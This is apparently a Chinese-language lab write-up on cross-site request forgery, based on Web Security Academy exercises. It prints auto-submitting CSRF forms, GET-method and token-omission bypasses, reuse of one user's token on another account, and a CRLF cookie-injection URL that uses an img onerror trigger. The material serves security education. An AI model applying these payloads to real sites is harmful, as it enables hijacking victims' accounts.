文章目录
- 什么是CSRF？
- CSRF 攻击的影响是什么？
- CSRF 是如何工作的？
- 没有防御的 CSRF 漏洞
- 常见的 CSRF 漏洞
- Token验证取决于请求方法
- Token的验证取决于Token是否存在
- CSRF Token未绑定到用户会话
- Token未与会话 cookie绑定
什么是CSRF？
跨站点请求伪造（也称为 CSRF）是一种网络安全漏洞，允许攻击者诱使用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略，该策略旨在防止不同网站相互干扰。
CSRF 攻击的影响是什么？
在成功的 CSRF 攻击中，攻击者会导致受害用户无意中执行某个操作。例如，这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转帐。根据操作的性质，攻击者可能能够完全控制用户的帐户。如果受感染的用户在应用程序中具有特权角色，则攻击者可能能够完全控制应用程序的所有数据和功能。
CSRF 是如何工作的？
要使 CSRF 攻击成为可能，必须具备三个关键条件：
- **一个相关的动作。**应用程序中存在攻击者有理由诱导的操作。这可能是特权操作（例如修改其他用户的权限）或针对用户特定数据的任何操作（例如更改用户自己的密码）。
- **基于 cookie 的会话处理。**执行该操作涉及发出一个或多个 HTTP 请求，应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制来跟踪会话或验证用户请求。
- **没有不可预测的请求参数。**执行操作的请求不包含任何参数，其值攻击者无法确定或猜测。例如，当导致用户更改密码时，如果攻击者需要知道现有密码的值，则该函数不易受到攻击。
例如，假设一个应用程序包含一个允许用户更改其帐户电子邮件地址的功能。当用户执行此操作时，他们会发出如下 HTTP 请求：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
这样就满足了CSRF需要的条件：
- 更改用户帐户上的电子邮件地址的操作是攻击者感兴趣的。执行此操作后，攻击者通常能够触发密码重置并完全控制用户帐户。
- 应用程序使用会话 cookie 来识别哪个用户发出了请求。没有其他Token或机制来跟踪用户会话。
- 攻击者可以轻松确定执行操作所需的请求参数的值。
有了这些条件，攻击者就可以构建一个包含以下 HTML 的网页：
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
如果受害用户访问攻击者的网页，会发生以下情况：
- 攻击者的页面将触发对易受攻击网站的 HTTP 请求。
- 如果用户登录到易受攻击的网站，他们的浏览器将自动在请求中包含他们的会话 cookie（假设未使用SameSite cookie）。
- 易受攻击的网站将以正常方式处理请求，将其视为受害用户发出的请求，并更改其电子邮件地址。
没有防御的 CSRF 漏洞
登录后修改邮箱抓包
发包成功修改
使用自带的CSRF Poc生成器
生成HTML的poc，放到利用服务器上
查看利用，需要手动点击提交，这一般需要钓鱼
上面的poc加一了段代码，表单提交到服务器去，不用手动点击提交
<script>
document.forms[0].submit();
</script>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a5d0016048481f5c4ad5a5900160048.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test3@123.com" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
document.forms[0].submit();
</script>
</html>
像受害者提交漏洞即可通过
常见的 CSRF 漏洞
大多数有趣的 CSRF 漏洞都是由于CSRF Token验证中的错误而产生的。
在前面的示例中，假设应用程序现在在更改用户电子邮件的请求中包含一个 CSRF Token：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
这应该可以防止 CSRF 攻击，因为它违反了 CSRF 漏洞的必要条件：应用程序不再仅依赖 cookie 进行会话处理，并且请求包含攻击者无法确定其值的参数。然而，有多种方法可以攻破防御，这意味着应用程序仍然容易受到 CSRF 的攻击。
Token验证取决于请求方法
某些应用程序在请求使用 POST 方法时正确验证Token，但在使用 GET 方法时跳过验证。
在这种情况下，攻击者可以切换到 GET 方法来绕过验证并进行 CSRF 攻击：
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
正常抓包 ，这次是有csrfToken验证了
修改csrf参数则通不过，修改请求方法后验证可以忽略
Token的验证取决于Token是否存在
某些应用程序会在Token存在时正确验证Token，但如果Token被省略则跳过验证
就是说将整个参数全删掉，则Token不存在，即可验证成功
CSRF Token未绑定到用户会话
现在我们有两个账户
目的是使用wienner的token来实现修改carlos的邮箱，也就是服务器并不会判断token与谁对应，只判断token是否正常
用wienner账号生成的token，用在carlos账号也能修改成功
Token未与会话 cookie绑定
有的应用系统虽然将CSRF Token与Cookie中某个参数值绑定了，但是并没有与session这个Cookie参数绑定，这样还是会导致CSRF Token与绑定的参数组合可以被任意用户用于请求。
在构造CSRF POC有一个比较有趣的操作，需要在用burp生成CSRF链接的时候将自动提交标签改成img标签，将提交表单事件设置在onerror属性中，将利用CLRF注入Cookie的页面设置在src属性中。(注：应用Set-Cookie参数值注入Cookie)
两个用户抓包看，session和csrf都是一样的，经过测试，csrfKey会进行判断，我们的目的是用wiener账户实现修改carlos的邮箱。
CSRF Token并未与session绑定，而是与csrfKey绑定的，根据cookie的传递性，我们可以在其他页面提前把csrfKey注入进去，这里我们利用img与onerror组合的XSS以及CLRF技术来构造CSRF
创建一个 URL，利用此漏洞将您的csrfKeycookie 注入受害者的浏览器：
/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
删除自动提交<script>块，而是添加以下代码来注入 cookie：
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
